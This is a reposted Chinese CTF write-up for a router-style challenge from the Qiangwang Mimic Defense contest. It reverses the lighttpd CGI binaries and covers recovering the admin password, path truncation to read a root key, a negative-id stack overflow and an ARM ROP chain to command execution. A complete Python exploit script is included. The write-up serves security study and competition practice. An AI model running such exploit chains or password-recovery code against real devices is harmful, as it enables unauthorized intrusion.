# 加载设置响应头的模块
server.modules += (&nbsp;"mod_setenv"&nbsp;)

# 彻底禁用ETag（否则客户端会继续带 If-None-Match）
etag.use-inode =&nbsp;"disable"
etag.use-mtime =&nbsp;"disable"
etag.use-size &nbsp;=&nbsp;"disable"

# 对常见静态资源直接禁用缓存
$HTTP["url"] =~&nbsp;"\.(html|css|js|png|jpg|gif)$"&nbsp;{
&nbsp; setenv.add-response-header += (
"Cache-Control"&nbsp;=>&nbsp;"no-store, no-cache, must-revalidate",
"Pragma"&nbsp; &nbsp; &nbsp; &nbsp; =>&nbsp;"no-cache",
"Expires"&nbsp; &nbsp; &nbsp; &nbsp;=>&nbsp;"0"
&nbsp; )
}

# default listening port for IPv6 falls back to the IPv4 port
include_shell&nbsp;"/usr/share/lighttpd/use-ipv6.pl "&nbsp;+ server.port
include_shell&nbsp;"/usr/share/lighttpd/create-mime.assign.pl"
include_shell&nbsp;"/usr/share/lighttpd/include-conf-enabled.pl"

解密admin的账号密码

修改下启动的参数，增加两个端口，22用于ssh连接，1234用于gdbserver的调试

sudo qemu-system-arm \
&nbsp; -M versatilepb \
&nbsp; -m&nbsp;256&nbsp;\
&nbsp; -kernel vmlinuz-3.2.0-4-versatile \
&nbsp; -initrd initrd.img-3.2.0-4-versatile \
&nbsp; -hda debian_wheezy_armel_standard.qcow2 \
&nbsp; -append&nbsp;"root=/dev/sda1 console=ttyAMA0"&nbsp;\
&nbsp; -net nic -net user,hostfwd=tcp::1337-:80,hostfwd=tcp::1338-:22,hostfwd=tcp::1234-:1234&nbsp;\
&nbsp; -nographic

尝试访问登陆页面

抓包看下，发现登录逻辑和auth.cgi有关

把对应的lighttpd文件和cgi复制到宿主机

➜ &nbsp;binfile scp -r -P&nbsp;1338&nbsp;[email protected]:/var/www/cgi-bin&nbsp;./
➜ &nbsp;binfile scp -P&nbsp;1338&nbsp;[email protected]:/usr/sbin/lighttpd&nbsp;./
➜ &nbsp;binfile tree ./ -L&nbsp;2
./
├── cgi-bin
│ &nbsp; ├── auth.cgi
│ &nbsp; ├── lang.cgi
│ &nbsp; ├── manage.cgi
│ &nbsp; ├── session_check.cgi
│ &nbsp; ├── upload.cgi
│ &nbsp; └── watch
└── lighttpd

2&nbsp;directories,&nbsp;7&nbsp;files

分析auth.cgi，发现一个存储账号密码的文件

root@debian-armel:/var/www/cgi-bin# cat /tmp/store/users.txt
admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==

不难看出这里的密码需要解密，跟踪下文件打开的逻辑，会发现最后有一个sprintf打印这一段数据，因此推断上面的逻辑是读取文件，所以这里可以尝试动调验证一下。

下断点之后发现，确实是读取了admin加密后的密码。

继续分析ida可以发现下方有一段strcmp的逻辑，经过分析可以发现其实是讲我们的输入密码进行加密后与admin加密后的密码进行对比。

加密的算法比较简单，核心逻辑如下，先进行xor，然后将最后的结果base64加密，因此可以根据加密的后的密码计算出原本admin的密码。

&nbsp; &nbsp; memset(input_enc_passwd,&nbsp;0,&nbsp;sizeof(input_enc_passwd));
&nbsp; &nbsp; passwd_len = strlen(passwd);
&nbsp; &nbsp; passwd_memory = malloc(passwd_len);
if&nbsp;( !passwd_memory )
goto&nbsp;LABEL_107;
if&nbsp;( passwd_len >&nbsp;0&nbsp;)
&nbsp; &nbsp; {
do
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; passwd_memory[idx] = xor_key[idx %&nbsp;10] ^ passwd[idx];// xor
&nbsp; &nbsp; &nbsp; &nbsp; ++idx;
&nbsp; &nbsp; &nbsp; }
while&nbsp;( passwd_len != idx );
&nbsp; &nbsp; &nbsp; idx =&nbsp;0;
&nbsp; &nbsp; &nbsp; input_enc_passwd_ = input_enc_passwd;
&nbsp; &nbsp; &nbsp; idx_ =&nbsp;0;
while&nbsp;(&nbsp;1&nbsp;)
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; v70 = passwd_memory[idx_];
if&nbsp;( passwd_len > idx_ +&nbsp;1&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v57 = passwd_memory[idx_ +&nbsp;1];
if&nbsp;( passwd_len <= idx_ +&nbsp;2&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LOBYTE(v58) =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v59 = (16&nbsp;* (v70 &&nbsp;3)) | (v57 >>&nbsp;4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; idx_ +=&nbsp;2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v60 = v70 >>&nbsp;2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v61 =&nbsp;4&nbsp;* (v57 &&nbsp;0xF);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v63 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v62 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v58 = passwd_memory[idx_ +&nbsp;2];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v59 = (16&nbsp;* (v70 &&nbsp;3)) | (v57 >>&nbsp;4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; idx_ +=&nbsp;3;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v60 = v70 >>&nbsp;2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v61 =&nbsp;4&nbsp;* (v57 &&nbsp;0xF);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v62 = v58 >>&nbsp;6;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v63 =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v64 = v62 | v61;
if&nbsp;( v63 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v65 = v58 &&nbsp;0x3F;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v66 =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v66 =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v65 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v66 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v71 = v70 &&nbsp;3;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++idx_;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v60 = v70 >>&nbsp;2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v59 =&nbsp;16&nbsp;* v71;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v64 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v63 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v65 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; }
if&nbsp;( idx ==&nbsp;'\x03\xFC'&nbsp;)
break;
&nbsp; &nbsp; &nbsp; &nbsp; v67 = aAbcdefghijklmn[v59];
&nbsp; &nbsp; &nbsp; &nbsp; input_enc_passwd[idx] = aAbcdefghijklmn[v60];
&nbsp; &nbsp; &nbsp; &nbsp; input_enc_passwd_[1] = v67;
if&nbsp;( v66 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v68 = aAbcdefghijklmn[v64];
else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v68 =&nbsp;61;
&nbsp; &nbsp; &nbsp; &nbsp; input_enc_passwd_[2] = v68;
if&nbsp;( v63 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v69 = aAbcdefghijklmn[v65];
else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v69 =&nbsp;61;
&nbsp; &nbsp; &nbsp; &nbsp; input_enc_passwd_[3] = v69;
&nbsp; &nbsp; &nbsp; &nbsp; idx +=&nbsp;4;
&nbsp; &nbsp; &nbsp; &nbsp; input_enc_passwd_ +=&nbsp;4;
if&nbsp;( passwd_len <= idx_ )
goto&nbsp;LABEL_94;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; free(passwd_memory);
LABEL_107:
&nbsp; &nbsp; &nbsp; output("Internal error.");
return&nbsp;0;
&nbsp; &nbsp; }
LABEL_94:
&nbsp; &nbsp; input_enc_passwd[idx] =&nbsp;0;
&nbsp; &nbsp; free(passwd_memory);

解密脚本

import base64

def&nbsp;xor_bytes(data: bytes, key: bytes) -> bytes:
&nbsp; &nbsp; k =&nbsp;len(key)
&nbsp; &nbsp; return&nbsp;bytes(b ^ key[i % k] for i, b in&nbsp;enumerate(data))

def&nbsp;decrypt_from_b64(b64_str: str, key: bytes) -> bytes:
&nbsp; &nbsp; enc = base64.b64decode(b64_str)
&nbsp; &nbsp; return&nbsp;xor_bytes(enc, key)

def&nbsp;encrypt_to_b64(plain: bytes, key: bytes) -> str:
&nbsp; &nbsp; enc =&nbsp;xor_bytes(plain, key)
&nbsp; &nbsp; return base64.b64encode(enc).decode()

if __name__ ==&nbsp;"__main__":
&nbsp; &nbsp; target_str =&nbsp;"dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA=="
&nbsp; &nbsp; xor_key = b"N1K_ROUT3R"

&nbsp; &nbsp; recovered =&nbsp;decrypt_from_b64(target_str, xor_key)
&nbsp; &nbsp; # 常见固件里会有结尾&nbsp;0&nbsp;字节，可按需去掉
&nbsp; &nbsp; recovered_str = recovered.rstrip(b"\x00")

print("raw bytes:", recovered)
&nbsp; &nbsp; try:
print("utf-8:", recovered_str.decode("utf-8"))
&nbsp; &nbsp; except UnicodeDecodeError:
&nbsp; &nbsp; &nbsp; &nbsp; pass

密码为admin/8g323##a08h33zx33@!B!$$$$$$$

➜ &nbsp;binfile python3 decode_passwd.py
raw&nbsp;bytes:&nbsp;b'8g323##a08h33zx33@!B!$$$$$$$'
utf-8: 8g323##a08h33zx33@!B!$$$$$$$

栈溢出

通过admin账号登陆后台后，可以去访问很多其他的功能

这里我从manage.cgi开始分析，可以发现一些值得关注的地方，比如说这里创建了一个共享内存，接着会用一个bss段上的指针去指向这个共享内存

这里人为传入的rk参数如果与/tmp/rootkey的内容一致，则会进入下方的函数逻辑，继续跟进

这里仔细看一下就发现tv.tv_usec & 1的值无非0或1，所以一定会调用到sub_9FD0函数

sub_9FD0函数首先会把/tmp/store/id.txt文件的id值读出来，也就是下方的v16。接着调用到shm_mem_dump，这里会根据传入的第三个参数来决定采用哪一种memcopy的模式，第一次调用是正常的memcpy调用，将共享内存的内容读到堆上。

接着这里的(*(&buf + (((unsigned __int8)v16 ^ 0x13) & 1))，由于 & 1操作的存在，因此还是会调用到shm_mem_dump函数，但是此时的v16其实int类型，所以这里如果传入一个负数，就会导致一个溢出，由于是拷贝到v19，而v19是一个栈上的值，所以会造成栈溢出

结合上方的分析，我们可以发现，我们这里的栈溢出是有前置条件的

◆id要为负数

◆niksessid需要提前知道，这样才可以提前设置rk的值，然后进入rootkey_privileged_mode()函数

所以接下来再分析的同时还需要解决这两个问题

目录截断

分析upload.cgi文件

当action为download的时候，可以设置path字段，然后下面存在一个snprintf函数，这里其实存在一个截断的问题，同时注意check_suffix(filepath, “nik.gif”)会检查文件的后缀是不是nik.gif，那么其实可以尝试去构造一个路径，类似于/tmp/./././xxxxxrootkeynik.gif的形式，这样保证0x60截断了nik.gif，同时绕过后缀的检查，然后同时还可以访问到/tmp/rootkey文件，接着下面读取文件内容，同时满足文件大小是64b，然后会将内容输出。

但是这里存在一个问题就是/tmp/rootkey这个文件在默认状态下不存在，所以我们需要找到创建这个文件的逻辑。

root@debian-armel:/var/www# ls /tmp/
store

可以通过grep -r查找，发现了watch中存在rootkey这个字符串

root@debian-armel:/var/www/cgi-bin# grep&nbsp;-r rootkey ./
Binary&nbsp;file ./watch&nbsp;matches
Binary&nbsp;file ./manage.cgi&nbsp;matches

分析这个binary可以发现，这里会创建一个64b大小的文件，然后再重命名为/tmp/rootkey，最后输出Good luck

那么通过这样，我们可以创建/tmp/rootkey文件，同时通过目录截断读取这个文件的内容，也就是我们知道了niksessid，这样我们可以提前设置rk的值，绕过判断，触发漏洞逻辑。

通过分析lang.cgi，我们可以通过设置setid字段设置id的值，然后这个值就会被保存到/tmp/store/id.txt文件里。

那么至此为止，我们已经具备了触发栈溢出的能力了，那么现在的问题是如何写rop

字符逃逸

回头看栈溢出的位置，其实是拷贝共享内存的内容到栈上，那么现在就需要接着去看共享内存的值应该如何设置。

这里会根据我们传入的action来决定执行什么函数

这是action_dispatch_table的内容

问题出现在setpkfunc中，这里会将/tmp/store/publicfile.txt的内容读出来，仔细看会发现存在一个off-by-one

但是其实根本没用

接着这里会有一个转化，就是转化为16进制的操作，同时仍然存在off-by-one

接着的操作比较迷惑，一些奇怪的判断，然后需要注意的是当idx == 80时，会直接执行final_data[81] = chunk[80];然后退出循环，也就意味着chunk[80]不需要经过前面的字符检查，直接被赋值到final_data[81]

下面就可以通过设置cnt1和cnt2来将我们逃逸的字符写到共享内存上

#

命令执行

由于这题没有pie和aslr，所以可以直接获取到gadget，同时出于稳定性考虑，我们可以直接把system需要执行的字符串写到共享内存上，这样更稳定，然后作为system的参数，这样就可以稳定的rce了

需要注意的是，我们需要将flag重定向到/tmp/store/logs.txt，然后通过log的查看功能来看到flag

exploit

from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;requests
from&nbsp;urllib.parse&nbsp;import&nbsp;quote_plus
import&nbsp;re
import&nbsp;asyncio

mysession =&nbsp;None
mysid =&nbsp;None
base_url =&nbsp;"http://127.0.0.1:8800"

headers = {
"Host":&nbsp;"127.0.0.1:8800",
"sec-ch-ua":&nbsp;'"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile":&nbsp;"?0",
"sec-ch-ua-platform":&nbsp;'"macOS"',
"Upgrade-Insecure-Requests":&nbsp;"1",
"Origin":&nbsp;"http://127.0.0.1:8800",
"Content-Type":&nbsp;"application/x-www-form-urlencoded",
"User-Agent":&nbsp;"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Accept":&nbsp;"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site":&nbsp;"same-origin",
"Sec-Fetch-Mode":&nbsp;"navigate",
"Sec-Fetch-User":&nbsp;"?1",
"Sec-Fetch-Dest":&nbsp;"document",
"Referer":&nbsp;"http://127.0.0.1:8800/",
"Accept-Encoding":&nbsp;"gzip, deflate",
"Accept-Language":&nbsp;"zh-CN,zh;q=0.9",
"Connection":&nbsp;"close"
}

def&nbsp;set_session_cookies():
if&nbsp;mysid:
&nbsp; &nbsp; &nbsp; &nbsp; mysession.cookies.set("SID", mysid)
&nbsp; &nbsp; &nbsp; &nbsp; mysession.cookies.set(
"mitmproxy-auth",
'2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|'
'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5'
&nbsp; &nbsp; &nbsp; &nbsp; )
else:
print("[-] 未设置 SID")
&nbsp; &nbsp; &nbsp; &nbsp; exit(1)

def&nbsp;send_post(url, data):
&nbsp; &nbsp; set_session_cookies()
&nbsp; &nbsp; resp = mysession.post(base_url + url, headers=headers, data=data)
return&nbsp;resp.text

def&nbsp;send_get(url, params):
&nbsp; &nbsp; set_session_cookies()
&nbsp; &nbsp; resp = mysession.get(base_url + url, headers=headers, params=params)
return&nbsp;resp.text

def&nbsp;login(username="admin", password="8g323##a08h33zx33@!B!$$$$$$$"):
global&nbsp;mysession, mysid

&nbsp; &nbsp; url =&nbsp;"/cgi-bin/auth.cgi"
&nbsp; &nbsp; mysession = requests.Session()

&nbsp; &nbsp; data =&nbsp;f"username={quote_plus(username)}&password={quote_plus(password)}"
&nbsp; &nbsp; resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False)

&nbsp; &nbsp; mysid = mysession.cookies.get("SID")
if&nbsp;not&nbsp;mysid:
print("[-] 登录失败，未获取到 SID")
&nbsp; &nbsp; &nbsp; &nbsp; mysession =&nbsp;None
return&nbsp;False

print(f"[+] 登录成功，SID =&nbsp;{mysid}")
return&nbsp;True

def&nbsp;upload(data):
return&nbsp;send_post("/cgi-bin/upload.cgi", data)

def&nbsp;manage(params):
return&nbsp;send_get("/cgi-bin/manage.cgi", params)

def&nbsp;create_rootkey():
return&nbsp;send_get("/cgi-bin/watch", {})

def&nbsp;set_id(params):
print("[+] setid saved: "&nbsp;+&nbsp;str(params["setid"]))
return&nbsp;send_get("/cgi-bin/lang.cgi", params)

def&nbsp;make_rop():
# '''
# 0x00015b24: pop {lr}; bx lr;
# 0x0010c730: pop {r0, lr}; bx lr;
# '''
&nbsp; &nbsp; libc =&nbsp;0xb6e8f000
&nbsp; &nbsp; pop_lr =&nbsp;0x00015b24&nbsp;+ libc
&nbsp; &nbsp; pop_r0_lr =&nbsp;0x0010c730&nbsp;+ libc
&nbsp; &nbsp; system =&nbsp;0x38d34&nbsp;+ libc
&nbsp; &nbsp; shm_addr =&nbsp;0xb6ffc000
&nbsp; &nbsp; args_addr = shm_addr +&nbsp;0x24&nbsp;+&nbsp;0x4&nbsp;* (3&nbsp;+&nbsp;1)
&nbsp; &nbsp; cmd =&nbsp;"cat /home/ctf/flag > /tmp/store/logs.txt"

&nbsp; &nbsp; rop =&nbsp;b'a'&nbsp;*&nbsp;0x24&nbsp;+ p32(pop_lr)
&nbsp; &nbsp; rop += p32(pop_r0_lr) + p32(args_addr) + p32(system)
&nbsp; &nbsp; rop += cmd
&nbsp; &nbsp; rop +=&nbsp;b'\x00'

&nbsp; &nbsp; pk_prefix =&nbsp;"00"&nbsp;*&nbsp;80

for&nbsp;idx, val&nbsp;in&nbsp;enumerate(rop):
&nbsp; &nbsp; &nbsp; &nbsp; byte_hex =&nbsp;f"{val:02x}"
&nbsp; &nbsp; &nbsp; &nbsp; pk_content = pk_prefix + byte_hex *&nbsp;2
print(f"[+] set payload_store[{idx}] = 0x{byte_hex}")
&nbsp; &nbsp; &nbsp; &nbsp; payload = {
"action":&nbsp;"upload_pubkey",
"filecontent": pk_content,
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; upload(payload)

&nbsp; &nbsp; &nbsp; &nbsp; params = {
"action":&nbsp;"set_publicfile",
"cnt1":&nbsp;80,
"cnt2": idx,
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; manage(params)

def&nbsp;redirect_flag_to_log():
&nbsp; &nbsp; create_rootkey()
&nbsp; &nbsp; suffix =&nbsp;"nik.gif"
&nbsp; &nbsp; need_to_minus =&nbsp;len("/tmp/"+"rootkey") +&nbsp;1
&nbsp; &nbsp; file_path =&nbsp;"./"&nbsp;* ((0x60-need_to_minus)//2) +&nbsp;"/"&nbsp;+&nbsp;"rootkey"&nbsp;+ suffix

# print(hex((need_to_minus)))
# print(hex(len(file_path)))

&nbsp; &nbsp; payload = {
"action":&nbsp;"download",
"path": file_path,
&nbsp; &nbsp; }
&nbsp; &nbsp; rootkey = upload(payload)
print("[+] rootkey: "&nbsp;+ rootkey)

&nbsp; &nbsp; payload = {
"setid":&nbsp;"-1",
&nbsp; &nbsp; }
&nbsp; &nbsp; set_id(payload)

&nbsp; &nbsp; make_rop()

&nbsp; &nbsp; payload = {
"action":&nbsp;"manage",
"rk": rootkey,
&nbsp; &nbsp; }
&nbsp; &nbsp; manage(payload)

def&nbsp;get_flag():
&nbsp; &nbsp; payload = {
"action":&nbsp;"logs",
&nbsp; &nbsp; }
&nbsp; &nbsp; flag = manage(payload)
print("[+] ", flag)

login()
redirect_flag_to_log()
get_flag()

这个脚本需要分开执行，先执行下面，同时保证rootkey是可见字符（如果不是，则会让最后的漏洞无法触发）

login()
redirect_flag_to_log()

接着执行，就可以拿到flag

login()
get_flag()

总结

总体来看其实难度并不算大，但逆向上会耽误一点时间，主要是对于总体的把控，比如说每一个cgi有什么功能，我怎么去触发，哪些功能有问题，并巧妙地将孤立的微小漏洞组合起来，形成一条完整的 RCE 攻击链。

看雪ID：flyyyy

https://bbs.kanxue.com/user-home-971428.htm

*本文为看雪论坛精华文章，由 flyyyy 原创，转载请注明来自看雪社区

往期推荐

V8 Bytecode反汇编/反编译不完全指南

静态程序分析之数据流分析(Foundations + LiveVar Analysis Code)续

tt x-gorgon分析

基于Minifilter实现目录保护软件，自定义保护目录，用户可选择是否允许文件行为

一道简单的RE迷宫题

球分享

球点赞

球在看

点击阅读原文查看更多

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：看雪学苑 flyyyy《第八届强网拟态防御国际精英挑战赛 – WIN！致敬mt 复现》

Tags: CTF WEB安全二进制安全代码审计漏洞分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

第八届强网拟态防御国际精英挑战赛 – WIN！致敬mt 复现

拟态比赛的时候时间过于匆忙，并没有很多时间看这道题目，因此赛后进行了复现，这一过程中十分感谢@zikh26师傅和神秘的@Nik Xe大哥给予的帮助。

基本信息：从启动脚本发现其实只开了一个80端口，我们先启动看一下基本的信息，可以发现80端口由lighttpd监听，启动方式为/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

解密admin的账号密码

栈溢出

目录截断

字符逃逸

#

命令执行

总结

往期推荐

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

基本信息：从启动脚本发现其实只开了一个80端口，我们先启动看一下基本的信息，可以发现80端口由lighttpd监听，启动方式为`/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf`